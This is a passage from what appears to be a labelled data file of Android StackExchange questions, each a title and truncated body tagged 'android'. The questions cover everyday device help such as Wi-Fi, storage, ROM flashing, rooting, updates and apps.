credit card information from Play Store Body: Please let me know how can I change my credit card information that I entered when I set up the Play Store. ",['android'] "Title: Is there a way to tell if a boot loader can be unlocked before purchase? Body: For example are boot loaders unlockable only if the phone is branded and comes with a contract? If I bought a phone of Amazon.com would I likely be able to unlock the boot loader or is it really just ... ",['android'] "Title: Disable a specific WiFi network from automatically connecting to in Android Body: I have several WiFi networks setup on my android device. I want most of them to automatically connect, but one specifically I don't want to automatically connect to. I want to manually connect to it ... ",['android'] "Title: croatian symbols Body: I wonder how I include croatian symbols into my Android device. I searched in the internet, but I can't find any useful information about this topic. Is it even possible to install ""language packages"" ... ",['android'] "Title: Will an Asus Transformer Pad Infinity work in the UK if I ship it over from USA Body: I want to ship my Asus Transformer Pad Infinity from the USA to the UK as it's cheaper. Will I run into any compatibility issues? (It does not have 3G.) ",['android'] "Title: Rarely get 4G service on my HTC Rezound Body: I rarely get 4G service on my HTC Rezound. I live in a city with plenty of access (Washington, DC) and visit cities which should also have access (Los Angeles, Chicago, and New York) and yet no matter ... ",['android'] "Title: Unable to connect Galaxy S3 to PC via USB Body: I've had my Galaxy S3 for a few months now, and have always been able to connect to my PC via USB. A few days ago, it suddenly stopped working. I've found many other Android.SE threads, but none have ... ",['android'] "Title: Changing the Google Now voice back to male? Body: Not sure why, but today the voice on Google Now has changed from a male to a female. I'm in the UK and before I had a male with a British accent but now that's changed to an American female. I can ... ",['android'] "Title: How Can I Root my Sony Ericsson Xperia Tipo Dual? Body: How can I root my Sony Ericsson Xperia Tipo Dual? ",['android'] "Title: Can I permanently disable the cell/radio of my phone? Body: My wife got a new phone with a new service, so I get to have her old phone to play around with. Since the old phone no longer has cell phone service, I want to completely disable the cell phone or ... ",['android'] "Title: support of Android 4.1.1 Jelly Bean CM10 ROM on Samsung Galaxy Ace s5830 Body: Is possible to update with this jelly bean version? I have updated my phone with this jelly bean version and when i am rebooting it then it is showing only samsung start screen. I don't get further ... ",['android'] "Title: How to know if a custom ROM uses existing swap partition Body: Recently I switched my custom ROM installed on my HTC Desire to a 4.1.2 based ROM (PARANOIDANDROID based). The ROM works fine but sometimes the device has serious lag of several seconds. I assume ... ",['android'] "Title: Playing Youtube video in background [duplicate] Body: Possible Duplicate: How to play a YouTube clip in background/minimised? I am using Galaxy Tab 2.0, 10.1 Tablet system. Whenever I am watching a video and press the home button to run some ... ",['android'] "Title: What would cause the existence of a /sdcard/logfile.log? Body: Since quite some time I've been getting a file /sdcard/logfile.log which gets really big quickly, last time I checked it was about 2MB. That file seems a general system log since I remember seeing ... ",['android'] "Title: How can I backup all my data so I can root my device by unlocking the bootloader? Body: I have a motorola xoom WiFi, UK version, which has only just recieved the ICS update, I want to unlock the bootloader so I can root the device, install clockworkmod, flash US settings and get ... ",['android'] "Title: Samsung Galaxy S3 not booting up, just shows ”Samsung Galaxy S3 GT-19300” black screen Body: This morning I woke up to my Samsung Galaxy S3 which just “hung” during the start-up screen with the white text “Samsung Galaxy S3 GT-19300” on a black background. It never comes to the “Enter ... ",['android'] "Title: why “ls -al” does not show file size info in /dev/socket directory? Body: In /dev/socket directory, if runs ""ls -al"" in adb, there is no file size information. I would like to know why there is no such information, in the condition that in other directories can show file ... ",['android'] "Title: Can SwiftKey be moved to the system partition? Body: I want to move the SwiftKey app from my standard user partition to the system partition (I have root). I am able to use Titanium Backup or Link2SD to turn an app into a system app, but anytime I try ... ",['android'] "Title: Unable to access Google account in Android Market on HTC Desire HD Body: After resetting factory settings, I am not able to access my Google account in Gmail / Market / Talk. Whenever I try to ""sign-in"" to Android Market using Google account, it shows error with title as ... ",['android'] "Title: Keyboard in alphabetical sequence (ABC layout keyboard) Body: I am considering buying a Samsung Galaxy phone. Is there an option (either basic phone function or a third party app) which provides a keyboard in alpha sequence, that is ABC layout instead of QWERTY? ... ",['android'] "Title: What SIM card size does the Nexus 7 use? Body: The iPad uses silly little SIM cards that pretty much need to be purchased ad-hoc. This means that in a pinch situation you can't e.g. swap SIM cards between your tablet and your phone (e.g., if ... ",['android'] "Title: How to remove unused folders created by apps? Body: When I started with a fresh SD card, there were only very few folders in it. As time passed by when I tried many apps, I could see the folder list in my SD card seems to grow. It is understandable ... ",['android'] "Title: How to make use of the entire screen area on Android 4.1 in full-screen mode? Body: The system bar (aka notification bar) on my new tablet (ASUS Transformer Pad) is always visible, even when watching YouTube ""full-screen"". The amount of space wasted is not insignificant, especially ... ",['android'] "Title: Mediaserver using excessive CPU time and battery Body: I've got a Nexus 4 on OS version 4.2.1 that suddenly started to drain it's battery very quickly. When looking in the battery usage I see ""Mediaserver""eating 60% of the battery over time, with several ... ",['android'] "Title: Can we install the stock rom for p3110 on p3113? (7 inch Galaxy Tab 2) Body: The p3113 model of the galaxy tab 2 haven't yet received the jelly bean update. So my question is, can we install the stock rom for the p3110 rom (take from sammobile) on the p3113 device? ",['android'] "Title: Galaxy Note 10.1 recurring tasks in Exchange: sync problem Body: I'm syncing email and calendar with my corporate Exchange server on my Galaxy Note 10.1 tablet. Problem is when I mark a recurring task as done on my PC the tablet puts it back. This only happens when ... ",['android'] "Title: LG DoublePlay: Boot looping after replacing framework-res.apk Body: I modified and replaced the original framework-res.apk on my LG DoublePlay (C729) and now it keeps bootlooping on T-Mobile logo. Even the recovery mode didn't help - the recovery mode displays only a ... ",['android'] "Title: Incorrect Read Receipt generated by default mail app on Android 4 Body: The default mail app on Android 4 seems to generate incorrect Read Receipts. Here is the case: User ORIGINATOR sends email (using any mail client software), with request for Read Receipt (SMTP ... ",['android'] "Title: Connectivity problem on LG Viper LS840 just updated to Ice Cream Sandwich Body: MY LG LS840 (Viper) is not opening Play Store after it updated to Ice Cream Sandwich yesterday. My emails are not sending either: they stay in my outbox. How do I fix this? I pulled the battery ... ",['android'] "Title: Galaxy Nexus won't connect via USB Body: So my Galaxy Nexus has been fine until now. It has been running Android 4.2 and it was going perfect, then like a day ago I go to plug it in and it just won't connect via USB. It charges on USB but ... ",['android'] "Title: Has Android 4.1.2 Jelly Bean officially released for the Samsung Galaxy SIII? [duplicate] Body: Possible Duplicate: When will my device get the Android 4.1 update (Jelly Bean)? Does anyone know if Android 4.1.2 has been released officially for the Samsung Galaxy S3? If so, where can I ... ",['android'] "Title: Why did a crash at 100% battery cause instant drain to zero? Body: After charging my Galaxy SII (ICS) overnight, I unplugged and started using the web browser. Battery indicated 100%. After 20 minutes the screen went black and the phone rebooted, then it popped up a ... ",['android'] "Title: Android directly uninstall from home screen by drag and drop Body: Currently it takes me two steps to uninstall one application - go to application list and drag and drop it onto the bin icon. I dont like this way since it requires me to look for the application ... ",['android'] "Title: Why does my device turn Wi-Fi on by itself? Body: Similar to Why does HTC Incredible S turn Wi-Fi on by itself?, it seems my Samsung Galaxy Victory will turn on Wi-Fi at random times. It establishes a connection if certain networks are in range (i.e. ... ",['android'] "Title: How can I take a screenshot on a Kindle Fire HD? Body: I thought that ICS, which is the underlying OS version for a Kindle Fire HD, supported a standard way of taking screenshots by holding down power button + volume down key. This does not work for me. ... ",['android'] "Title: How to deal with (orphaned) WakeLocks? Body: I guess most of you at least have heard about WakeLocks. Many of you will have experienced them already -- wether knowingly or not. Some may know how to deal with them in general -- but only few know ... ",['android'] "Title: If I relocate to another country, will I still be able to access the Play Store and use my purchased Apps, Books, Magazines, Music, Movies and TV? Body: I have a friend who shall be moving to Switzerland during the early part of 2013. He wishes to know is their a Swiss Google Play Store, or do Swiss residents use the German Play Store? If this is the ... ",['android'] "Title: Improve Nexus 4 Vibration Intensity Body: This is basically the same question as posed here: Increase vibrate strength I thought there might be a different answer for the Nexus 4, however, seeing as how it's a different manufacturer and the ... ",['android'] "Title: Camera app on HTC Sensation keeps crashing Body: I have an HTC Sensation, about two years old. It's running Gingerbread, rooted but not modded or custom-rommed. All of a sudden, the native camera app started crashing - i.e. it opens and immediately ... ",['android'] "Title: SHARP Aquos 104sh moves cursor to wrong location Body: I'm trying to edit and questions on stackoverflow, but when I click to move the cursor to a location or reselect a word, the cursor winds up far north of my click point. I need to do some more testing ... ",['android'] "Title: Convert + to 00 for international calling Body: I am currently overseas, using a foreign SIM card in my phone. Since I travel often, all of my contacts are stored in international format (e.g. +12125551212 or +4474567899). However, my foreign ... ",['android'] "Title: How can I set up additional email folders on my Galaxy S3? Body: On my Samsung Galaxy S3 I can see the standard folders: inbox, drafts, outbox, sent, recycle. How do I set up additional folders? ",['android'] "Title: How can I pipe the input audio of a Bluetooth headset into Google Now? Body: How can I pipe the input audio of a Bluetooth headset into Google Now? I have Jelly Bean 4.1.1. ",['android'] "Title: Custom Rom installation for defy Body: I have been trying to customize my current ROM in my Defy which runs 2.2 froyo currently as stock. I'm confused which how I can customize my ROM, such that my stock ROM is backed up and if I don't ... ",['android'] "Title: Applications moved to SD card cannot be loaded Body: I have an Android phone running Android 2.2.1 with very limited phone memory. So I have to move the applications to SD card all the time. BUT: If I move applications to the SD card, then after I ... ",['android'] "Title: What's the difference between the Sony Ericsson Xperia Active ST17i, the ST17i-BKW, ST17a, and the ST17a-BKO? Body: I am interested in buying Sony Ericcson Xperia Active (unlocked) but there are several choices and I can't figure out which phone is which. Can someone explain to me the difference? Thanks! ",['android'] "Title: Image and video files disappear from the SD Card Body: Sometimes it happens that all image files (JPEG, PNG, etc.) and videos (3GP) are erased automatically in the SD Card. So they are removed from Gallery also. This means I risk to lose documents and ... ",['android'] "Title: Make apps force close automatically without going into settings [duplicate] Body: Possible Duplicate: How can I stop applications and services from running? I have an HTC Desire and I have been trying to figure out how to always get my apps and things I don't use to ... ",['android'] "Title: Why do the photos taken on my HTC One X not have a date/time displayed on them? Body: When I take a photo on my HTC One X, the date and time that the picture was taken do not appear appear (printed) on the photo. I can't set the date or time in the settings, either. If I use a third ... ",['android'] "Title: Used code bought on internet to unlock Galaxy S3 from 3 UK to O2-UK. Will rooting the device harm it? Body: My Galaxy S3 was locked to 3-UK when I got it. So I used a code I bought on the internet to unlock it. When buying the code the form asked which network I wanted to unlock the handset for. I said ... ",['android'] "Title: Advanced searching in Play app store? Body: It is not easy to find good apps. Is it possible with some other app website to only search within apps (list apps) that have at least 500k downloads and at least 10k reviews? Something like make the ... ",['android'] "Title: Is there a simple way to undo an app update? Body: I'd like to revert to the previous version and stick with that permanently. Is that possible? I have Beautiful Widgets installed, and had it set to auto-update. It just did, and the 'update' is ... ",['android'] "Title: How to stop Chrome from causing Download folder to reappear in gallery? Body: Wanting to exclude the Download from being scanned by the Gallery application, i do as required, and create a: .nomedia file in the Download folder. That correctly causes the Download folder to ... ",['android'] "Title: Help with LG Optimus Logic Memory Body: I recently purchased an LG Optimus Logic for StraightTalk, which runs Android 2.3.6. The phone was advertised as having 1GB internal Memory and also came with a 4GB Micro SD. I've used the phone for ... ",['android'] "Title: Are there any landline phones running Android? Body: I'm looking for a landline phone (not necessarily cordless) which runs on Android and gives me the associated control, customisability, and for a bonus, market access. Does such a thing exist? ",['android'] "Title: Android 4.2: How to get the Easter Egg, a new daydream, and Developer options? Body: How can I get the Easter Egg hidden in Android Jelly Bean? How could I use that Easter Egg to enable a hidden daydream in Android 4.2? How can I enable the Developer options, hidden by default in ... ",['android'] "Title: Back up not only games, but also game progress before flashing ROMS Body: I have a Galaxy S2 (GT-I9100) And I'm about to flash a custom rom on it. I've done it a bunch of times but what really irritates me is that I lose all progress made on the games that I have on my ... ",['android'] "Title: Can one avoid losing everything on a Galaxy Nexus when applying a new ROM (safely)? Body: The makers of most ROMs suggest that you do a full device wipe when moving from one ROM to another. I have also found this is usually good practice, so data from the previous ROM does not affect the ... ",['android'] "Title: Non-root methods to mount USB storage devices Body: From my understanding, one can use StickMount to mount USB Sticks / Thumbdrive. However, StickMount require one to root phone. So, are there ways that I can mount a USB Sticks / Thumbdrive to a ... ",['android'] "Title: Samsung Android phone / tablet drivers without using the Samsung Kies Body: As Samsung Kies require one to be online in order to install but all I need are just Samsung drivers so that the OS (e.g. Windows XP, Windows 7) can recognize the Samsung Android device. So, how to ... ",['android'] "Title: Is it possible to Boot into Safe Mode on an Android Device as a Precautionary Measure If Required? Body: Is it possible to Boot into Safe Mode on an Android Device, similar to booting up into safe mode on a Windows PC ? An example being In Windows if you were infected with a virus you may want to ... ",['android'] "Title: Reducing bandwidth while using Facebook chat Body: I live in place where the data charges are extremely high (~0,70€ per MB in Ethiopia, for example.) If I wish to chat on Facebook, data charges rack up quickly due to the standard Facebook app's ... ",['android'] "Title: Nexus 4 / 7 and Wi-Fi incompatibility Body: I have a Nexus 4 which works on most Wi-Fi networks, but not with my D-Link router running DD-WRT. It connects, but data transfer is sporadic at best, and essentially useless. Amongst the myriad of ... ",['android'] "Title: How to prepare myself & smartphone/tablet in the event it goes missing or is stolen? Body: I would like to know what measures or steps etc that should be performed, in order to protect & safeguard whatever ""data"" is on my Android Smartphone or Tablet, and indeed the device itself, in ... ",['android'] "Title: How does GS3 dual SIM adapter work? Body: I have seen that some online shops sell a Samsung Galaxy S3 dual SIM adapter. I haven't found much information about how does it work, but I have doubts about it. Some links: ... ",['android'] "Title: How to stop Foursquare from turning on Wi-Fi? Body: Some time ago I noticed Wi-Fi powers on without any action from me. There was a question already from me, asking why the phone would do this. I localized the issue to Foursquare app — it actually has ... ",['android'] "Title: missed calls not appearing as notifications Body: I have a HTC one x with the default HTC sense. Missed calls do not appear in the notification list which is frustrating ... The calls appear in the call history log so it knows about them. I've also ... ",['android'] "Title: How to choose which joined contact to use for contact image? Body: Okay, I'm running a Galaxy S III with the TouchWiz ROM. I knew how to do this in AOSP ROMs, but cannot find it in the Samsung people app. If I have an aggregate contact with numerous joined ... ",['android'] "Title: How to close 'system tray' type apps LG Optimus Logic [closed] Body: I can close normal apps from the App manager, but the system tray ones at the top don't show up there. Example apps: Twitter, Google Play, simpleirc. It has gingerbread android os ",['android'] "Title: Can't move any applications to SD Card- “Couldn't Move App” error Body: I'm trying to move any application that I install to my SD card (Nexus S, so its technically internal storage) and regardless of what I choose, I get a ""Couldn't Move App"" error. I fired up logcat ... ",['android'] "Title: Screen on Galaxy Nexus goes off, hard reset required to resolve this. What can I do? Body: I am using a Galaxy Nexus and since the update to Android 4.2 the screen sometimes suddenly goes off and then especially stays off. The only thing that helps to get the screen back on is taking out ... ",['android'] "Title: Cannot see special characters on Polaris Office Body: My mobile phone has Polaris Office default installed on it, but when I open some files I cannot see special characters, like ""á"", ""à"", ""ç"" etc., there is just a space character when it would have one ... ",['android'] "Title: Use a USB Controller with Xoom without adapter Body: I would like to use an X-Box 360 Controller with my Motorola Xoom tablet, however the Controller uses USB to connect and I do not have the required USB OTG adapter to plug it directly into the tablet. ... ",['android'] "Title: Keep getting “Error retrieving information from server. [RH-01]” from the play store Body: It used to work fine but now when I open the Play Store app it says ""Error retrieving information from server. [RH-01]"" and I can't do anything. I tried clearing the cache of the Google Play Store and ... ",['android'] "Title: How to make a normal apk with .dex inside it from an apk which is odexed? Body: I had a file manager provided by my manufacturer as a system app. it was odexed. i have its apk and odex file both. I installed a custom rom now and want to install that filemanager. how do i do ... ",['android'] "Title: Will factory resetting wipe/clear away pre-installed apps? Body: I linked my Gmail account to my tablet and I longer want it linked. I have read that it is permanently linked, and I must factory reset the device to unlink the account - is this true? Will factory ... ",['android'] "Title: To encrypt or install security app like Prey? Body: I have just bought an Android tablet and would like advice as to whether I should encrypt it or install some security app like Prey. If I encrypt it, then if it is stolen the thief won't be able to ... ",['android'] "Title: There is an app to send/read SMS from the desktop using the Internet? [duplicate] Body: Possible Duplicate: How do I send SMS from PC through Android Phone or to Android Phone? There are many apps to send/read SMS from the desktop using a Wi-Fi connection, but my cyanogenmod ... ",['android'] "Title: unable to open PPTX documents using polaris office app on android Body: I recently created a PPTX document using docx4j. I tried opening it in the Polaris office application, but it says the file is corupted. I then took a look at the OPC stucture of the above document ... ",['android'] "Title: Is there a way to wipe a device based on a certain password? A like a “Wipe-me” password? Body: Is there a way (an app perhaps) that will wipe a phone if a certain password is entered at the lock screen? For example ""letmein"" unlocks the phone, but if you enter ""wipeme"" it will start the factory ... ",['android'] "Title: Is there a way to prevent applications from updating when running on battery Body: I know you can restrict applications to update on Wi-Fi only. Can you achieve the same thing with ""update when charging on sector only"" too? ",['android'] "Title: Samsung GT P1000: Install to internal storage? Body: Is it possible to install apps on the internal USB (/mnt/sdcard) storage of the Samsung GT P1000? /mnt/sdcard has 7Gb free and the internal phone storage only 690Mb free. Move 2 SD card fails with ... ",['android'] "Title: Why does Moon Reader not show up in 8 last apps list? Body: Normally, when you long-press on HOME button, my Android displays the icons for 8 last apps/activities that were active. This seems to always be pretty reliable, with one exception. For some reason, ... ",['android'] "Title: How to make Samsung Galaxy SL I9003 play AC3? Body: I have a film in the .AVI format, with an SRT subtitle file, and an AC3 audio track. I used the S/W decoder function. The film can be played with/without the subtitles, and the AC3 file itself can ... ",['android'] "Title: CM9 with hardware acceleration LG P990 Body: I have tested lots of CM9 ROMs without hardware acceleration, but cant find anything with it. CM10 has hardware acceleration, so how can i get it on CM9? Porting the drivers, anywhere it exists? My ... ",['android'] "Title: How to setup VLAN on Android? Body: Can anybody give me idea how to setup the VLAN on android. I get VLAN 200 tagged traffic from some device. So how can I configure or setup the networking stuffs in android to allow traffic tagged with ... ",['android'] "Title: Samsung Galaxy Nexus message notifiers Body: I own a Samsung Galaxy Nexus and would like to enable message notifications every 5 minutes if I don't answer a message. Is there any way to do this? Preferably for free. ",['android'] "Title: Increase maximum outgoing attachment size Body: I'm looking for a way to increase the maximum attachment size for outgoing email in the default email app for Exchange / ""corporate"" email. e.g. I'm on local Wifi and it won't let me send a 9MB ... ",['android'] "Title: Send selected text to dialer Body: Is there an App that registers itself as a Share Command and lets me send a selected text in a webpage or email to the default dialer? I would like to avoid copy and pasting a number from a webpage or ... ",['android'] "Title: What's the difference between 'adb push' and 'adb install'? Body: Will adb push only copy the file into the target location whereas adb install copies the file into the target location and also sets the proper permission for you? ",['android'] "Title: Wi-Fi won't stay off Body: I have a Motorola Droid and have just installed the latest update. The Wi-Fi network at my workplace is temperamental, so I prefer to simply turn off the Wi-Fi and use 4G. The issue is, when I ... ",['android'] "Title: Is there a way to automatically load insecure content in Chrome browser for Android? Body: Similar to this question but for the mobile space... How to allow Chrome (browser) to load insecure content? Is there a way to automatically load insecure content in Chrome browser for Android? I ... ",['android'] "Title: Dual Booting a Windows 8 Tablet/Smartphone with Android OS? Body: Is it possible and indeed practical to dual boot a Windows 8 tablet/smartphone with Jelly Bean 4.0 + ? Are there significant restrictions or limitations in doing so? If this is not achieveable as yet ... ",['android'] "Title: What browsers are compatible with Adobe Flash Plugin? Body: Even if Flash Player on Android is no more supported by Adobe, it is still very easy to obtain it (eg, via Aptoide). The problem is that Chrome is not compatible with it. On my Galaxy Note 10 I can ... ",['android'] "Title: Jar of Beans “sd card not exist” Body: I installed wine and ran ""jar of beans.exe"". It successfully loaded. I tried creating the SD Card, by clicking ""settings"", umpteen times. Still, it says ""sd card not exist"". Moreover there's a button ... ",['android'] "Title: HTC Desire HD with Nokia E52 IMEI Body: I recently bought HTC desire HD from E-Bay India. I'm in India and the guy in E-bay imported UK unlocked Desire HD, I recently check for the IMEI details and I'm shocked, when I checked, Its showing ... ",['android'] "Title: Resetting Google Search Body: Google Search on my AT&T Samsung Galaxy S3 is not ""looking"" at all on my phone. It is strictly doing a web search. How can I establish it to access phone and web? Or can I uninstall it and ... ",['android'] "Title: Flash update.img using flash_image Body: I want to flash a new ROM using the shell. (Need this later to do per app so there is no other way than shell). Here is what I tried connected to 192.168.1.9:5555 Pauls-MacBook-Pro:~$ adb shell ... ",['android'] "Title: Using an OTG cable while charging Body: Most Android devices have a single port for both connecting to the computer (USB) and charging. I have to use this OTG small cable to transfer data, but also to use a real keyboard. However, when I ... ",['android'] "Title: Nexus 7 issues with lagging, boot-loops, NFC greyed out, and depressed CPU states Body: I have a Nexus 7 16GB which behaved wonderfully for a few months. I used an NFC app once and the tablet began boot-looping, and lagging. I turned off NFC when I could and reset the tablet. It was ... ",['android'] "Title: How safe are my passwords at after-sales service? Body: My phone is currently inoperative. Samsung asked me to drop it at an approved repair center, which will handle shipment and reception to/from Samsung. Being unable to boot my phone, it was impossible ... ",['android'] "Title: CM7 default dialer - how do I set international prefix? Body: I installed vanilla CM7 (7.2.0), and ther is one thing that drives me crazy that I don't know how to fix. According to this, the default dialer that comes with CM7 has ""011"" international prefix ... ",['android'] "Title: Startup and Wi-Fi problem with email, apps Body: Had to grab a Samsung Galaxy Discover prepaid phone with 4.0.4 as a quick replacement. Only problem is whenever I power up the phone, my Gmail and ISP's email accounts won't sync and my weather ... ",['android'] "Title: internal memory Vs SD card [duplicate] Body: Possible Duplicate: Unable to move few Apps to SD Card Can I force move to sd card applications that don't want to be moved there? Why do Android phones require installations mostly ... ",['android'] "Title: Can a cheap cable prevent AC charging from working? Body: A while ago, I had my phone repaired (the USB socket was worn out) and had to replace the USB cable as well. Since then I haven't been able to quickly charge my phone in AC mode. Previously it worked ... ",['android'] "Title: Android Emulator using Hardware Keyboard has no “Umlauts” Body: I have the latest ADT installed and when I start the emulator I am not able to type, for example, German umlauts. I have tried to change the settings in android to German keyboard layout but that ... ",['android'] "Title: Prevent update prompt Body: Is there a way without rooting to prevent galaxy nexus devices from prompting that there is an update available. We have several devices at work that we would like to keep on a particular android ... ",['android'] "Title: What's the difference between a Wi-Fi conection and a Wi-Fi Hotspot? Body: I just bought a 9"" d2 android tablet and it has both. When I turn on the hot spot it shares my connection with other tablet -- but doesn't give me a conection. So I guess my question is: why have a ... ",['android'] "Title: Droid 3 Gallery Generating Errorneous Thumbnails; Possibly Due to Infinite Loop, .nomedia glitch? Body: I have a stock Motorola Droid 3 on Verizon. The device is not currently rooted. I am not sure if the Gallery app on my phone is specific to the Motoblur UI. I was testing the .nomedia trick/hack, by ... ",['android'] "Title: How can I edit a Presentation in Google Drive? Body: Google Drive shows me presentations, spreadsheets and documents, but I only can edit spreadsheets and documents. So I'd like to edit the presentation locally, but I can't find a way to download it in ... ",['android'] "Title: Samsung Galaxy Nexus Charger - USB? Body: Does the Samsung Galaxy Nexus charger use a USB charger? If so, what kind? ",['android'] "Title: adb restore progress Body: Using the backup and restore function with adb (as discussed in Full Backup of non-rooted devices) there is no progress available and often it is very hard to follow the adb logcat output as long ... ",['android'] "Title: Can physical keyboards really only be used with specific devices? Body: The web is full of physical tablet keyboards, all of them being restricted to one (or a few) specific devices. Can the keyboards really only be used with those devices or do they use the same ... ",['android'] "Title: How to move Apps to SD on the LG P-705 with Android 4.0? Body: I can move apps manually or progammatically on my Samsung Galaxy Ace 1, but on my LG P-705 with newer android version there is no such an option. Apps like App2SD don't work as well. Why does LG ... ",['android'] "Title: Disable Slide to Lock Body: I have a Cruz T301 which is rooted. The screen calibration is a bit off and I cannot access the home screen. (It is next to impossible to use the slide to unlock.) Basically, it will slide to the ... ",['android'] "Title: Android Emulator for Ubuntu 12.04 Body: I installed a jdk and then an android sdk on my Ubuntu 12.04, 32-bit machine (2 GB DDR3 memory) The aim is to have an android emulator. I created some android virtual devices, one of which I named ... ",['android'] "Title: Can't select date in calendar and Gmail not coming to phone Body: My question is 2 fold: First, when I go into calendar monthly view and hit say the 15h of the month...it won't pull up the info that day. When I do a battery pull, it will work for a few hours then ... ",['android'] "Title: Jellybean 4.2 update fails in middle of download for nexus 7 Body: I have received the jellybean 4.2 update request 2 times. Both times I have pressed the update button and both times it has failed in the middle of the process. No error messages. After a few ... ",['android'] "Title: Why won't my nexus 7 update to Jelly Bean 4.2? Body: I was notified that there was a system update, but when I applied it the tablet was still on the older version of Jelly Bean. I've even done a factory reset and tried again, but no luck. Are there any ... ",['android'] "Title: Print Data usage report - Android Body: Can someone please help me with an app or system setting on android device to print my data usage report? ",['android'] "Title: HTC Explorer .tar ODIN [closed] Body: Not able to install the .tar file from http://www.htcdev.com/devcenter/downloads/P10 using ODIN. ODIN says the package is invalid. My mobile is HTC Explorer. Can someone let me know, whether ODIN can ... ",['android'] "Title: Android tablet not recognizing external keyboard? Body: I have a Tablet running Android 4.0.3. Its DOMO x3g, works fine except that when I connect an external usb keyboard to it,it doesn't show up any recognition or anything.While USB pen drives, hard ... ",['android'] "Title: Upgraded my phone from 1.6 to 2.2 Android version, if I restore “Factory Settings”, which version it will be? [duplicate] Body: Possible Duplicate: Will factory resetting my device remove the Android upgrade? I upgraded my Galaxy 551 from 1.6 to 2.2 Android version some time ago with Samsung Kies, now I want to make ... ",['android'] "Title: Android streaming music from desktop, controlled by another android! Body: I just got a Samsung Galaxy S3, and I can't think of a better use for my old Galaxy S than tucking it away on a shelf with an audio cable hooked up to my a/v receiver, streaming music from my desktop ... ",['android'] "Title: Unable to add credit card in Google Wallet Body: Whenever I try and buy an app, google asks me to add a credit card in google wallet. But when I finish adding me credit card details, phone number and address and do save (I'm using my sony xperia ... ",['android'] "Title: Warranty on Nexus 7 Body: I just won an auction on the Nexus 7. The seller claims that he doens't have the original sales receipt but says I will be able to sign up for the warranty online with the registration & ... ",['android'] "Title: Alarm Settings on Samsung Galaxy S3 Body: Since updating to Jelly Bean, I can no longer change the settings of my alarms on my S3 i.e snooze (time in between, length), activate smart alarm, change the alarm tone etc... When I click more, it ... ",['android'] "Title: How to turn off talkback feature on Galaxy S2 ICS 4.03 Body: I have turned on Talkback to see if it worked on My Galaxy S2.That also disabled my touch screen scrolling .Now I cannot turn off talkback because I cannot scroll through the setting menu. What should ... ",['android'] "Title: Credential mismatch when trying to add Google account Body: I am not able to enter my google account credentials on my Android phone. It keeps saying that username and password do not match but at the same time it opens with the same username and password in ... ",['android'] "Title: Wildcards in proxy bypass list Body: My LG LS840 Viper 4G LTE (Sprint) recently upgraded to 4.0/ICS. Under 2.3/GB the proxy settings had been disabled entirely, but I am now able to set up per-network proxy settings for the various WiFi ... ",['android'] "Title: No incoming messages on whatsapp if internet isn't turned on Body: I have an HTC and I downloaded my whatsapp from the market place but now I don't receive any incoming messages unless I turn on my internet. Is there a way for me to get my messages without having the ... ",['android'] "Title: Using sponge to act as a stylus pen for Android phone and tablet? Body: I am amazed that one can create a DIY stylus pen for Android phones and tablets using the sponge as shown in this video. Is it true or it is simply just a fake video? ",['android'] "Title: i have the samsung admire from metro pcs. would the new apple earpods mic work with my phone? Body: I have the Samsung admire from metro pcs. would the new apple I phone 5 ear buds work with my phone? now I know its a 3.5mm entry slot, and the head phones would obviously work. but how about the mic? ... ",['android'] "Title: Google play fails to install application with RPC:S-5:AEC-0 Body: Someone has reported me that he cannot install or upgrade applications on Google Play. It fails with error RPC:S-5:AEC-0 What does that mean? How to fix this? ",['android'] "Title: How toolbox symlinks work Body: On my Android emulator, the /system/bin folder contains several symlinks that point to the toolbox binary: # ls -l /system/bin ls -l /system/bin [SNIP] lrwxr-xr-x root shell ... ",['android'] "Title: How to get setting information before booting Android devices like in BIOS? Body: Is there any method by which we could get the system information before booting android OS. Like wise in PC/laptop, we can get into BIOS setting before booting and get the system information. Do ... ",['android'] "Title: Samsung galaxy s plus keeps crashing Body: One day out of the blue my phone kept crashing when connecting to 3g or wifi, I then updated my phone and reset it to factory settings. The problem went away for a while but now the problem is getting ... ",['android'] "Title: What is the LG Motion 4G processor speed? Body: According to the specs for the LG Motion 4G phone, it states the CPU speed should be 1.2Ghz. http://www.phonescoop.com/phones/phone.php?p=3779 But someone on android forums has reported that this is ... ",['android'] "Title: Samsung Galaxy S3 Wifi Tether Not Discoverable on Desktop Body: After flashing the Resurrection Remix JB v3.1.2, I am unable to use the Tethering option of Wifi, although the direct USB linking still works fine. Setting up the tether on the device works without ... ",['android'] "Title: The RAM total of the apps “Running” never equals the “Used Ram” shown below on the scale Body: I realised after a few days of observation, that the total of the RAM usage of indivisual apps shown in the running process is quite lower than that shown below it on the scale And as ""Cached ... ",['android'] "Title: How to flash a ZIP file with Odin? Body: I can't boot my Galaxy Tab 8.9 / P7300 anymore, but Odin still detects a USB connection. So I'm trying to flash a new ROM onto it using Odin. However all I can find on the web are ZIP archives ... ",['android'] "Title: how to rename to change file type? Body: I have Android 4.0 for Galaxy Note 10.1. How do you rename files to change the file extension? For example, if you have a text file extension ""..xml"" how do you rename to "".txt"" ",['android'] "Title: Who is creating icons? Body: Some application (malware? adware?) is creating garbage icons on my Android desktop. How to know the application who does this? I heard each application is a Linux user on android. Is it possible to ... ",['android'] "Title: Samsung Galaxy-s blocks the app to install after download Body: Why I can not install the app after download on galaxy s, if the app is not from the play store it blocks the app to install. I know there is an option on new models of galaxy, if it blocks your app ... ",['android'] "Title: Why is Google Maps always running in the background? Body: I'm running on JB. The Google Maps application always seems to have 2 instances running in the background inspite of turning the GPS off. Is there a clean solution to prevent it from ever running in ... ",['android'] "Title: “Red frame” around the screen when starting some apps Body: Just recently I noticed on my Nexus 7 that when I start some apps - and it's not just those allows to have superuser rights - I can briefly see a ""red frame"" all around the screen area of the app that ... ",['android'] "Title: Confused about Nexus 7 failing system update to 4.2 Body: During the day today, I got the notification about the available system update to 4.2. SO I confirmed it after ensuring that SuperSU was set to ""survival mode"" and then it looked like it was actually ... ",['android'] "Title: How to record and replay macros in Android? Body: Is there an application that allows me to record macros and replay them? It should monitor touchscreen and keyboard presses and be able to ""replay"" them. Something like iMacro, but for Android ... ",['android'] "Title: What is a good way to approach a developer about supporting my device? Body: The Google Play Store on my new Asus Nexus 7 does not list the application I want. When I visit the Play Store web site I see the applications listed, and I am told they are not compatible with my ... ",['android'] "Title: Rooting HTC Gratia Body: I've been trying to root my HTC Gratia for weeks, with no success. I found no specific tutorial, so I used those for HTC Aria, which should be basically the same phone. Can anyone give me specific ... ",['android'] "Title: How can I set a user profile password in Jelly Bean 4.2? Body: Tablet's users will be able to use different profiles since JB 4.2, defined at system settings level (settings -> user profiles). How can I set a password for each profile? ",['android'] 